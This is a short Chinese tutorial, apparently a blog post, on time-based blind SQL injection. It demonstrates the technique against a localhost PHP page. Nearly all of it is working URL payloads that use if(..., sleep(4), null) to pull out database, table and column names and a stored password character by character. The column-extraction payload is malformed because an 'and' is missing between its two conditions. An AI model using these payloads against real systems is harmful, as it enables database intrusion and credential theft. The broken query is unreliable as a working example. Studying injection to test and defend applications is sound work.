SQL注入--盲注入(time型)

注:看这篇文章之前请先看上一篇文章<SQL注入--盲注入(bool型)>


一个带GET参数的网站,并且不过对错都返回相同的页面!

http://127.0.0.1/index.php?id=1


http://127.0.0.1/index.php?id=1'



由于对错返回的页面一样,无法通过页面判断对错,就使用页面刷新时间来判断对错;

具体情况请了解SQL的 if(SQL语句,sleep(4),null)语法。

如:select if(user()='root@localhost',sleep(4),null)

当user()='root@localhost'为真时执行sleep(4),否则执行null。

注:

刷新时间可以通过浏览器的开发者选项f12来看,或者使用Firefox的firebug插件,或者burpsuite等工具都可以。


所以在文章<SQL注入--盲注入(bool型)>的基础上对SQL语句进行修改:

爆库名:

http://127.0.0.1/index.php?id=1' and if(

ascii(substr(

(select schema_name from information_schema.schemata limit 4,1),1,1

))=115

,sleep(4),null)%23


爆表名:

http://127.0.0.1/index.php?id=1' and if(

ascii(substr(

(select table_name from information_schema.tables where table_schema=0x73716c limit 0,1),1,1

))=117

,sleep(4),null)%23


爆字段:

http://127.0.0.1/index.php?id=1' and if(

ascii(substr(

(select column_name from information_schema.columns where table_schema=0x73716c table_name=0x75736572 limit 0,1),1,1

))=112

,sleep(4),null)%23



爆pwd

http://127.0.0.1/index.php?id=1' and if(

ascii(substr(

(select pwd from sql.user limit 0,1),1,1

))=49

,sleep(4),null)%23


SQL的详细解释请看文章<SQL注入--盲注入(bool型)>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章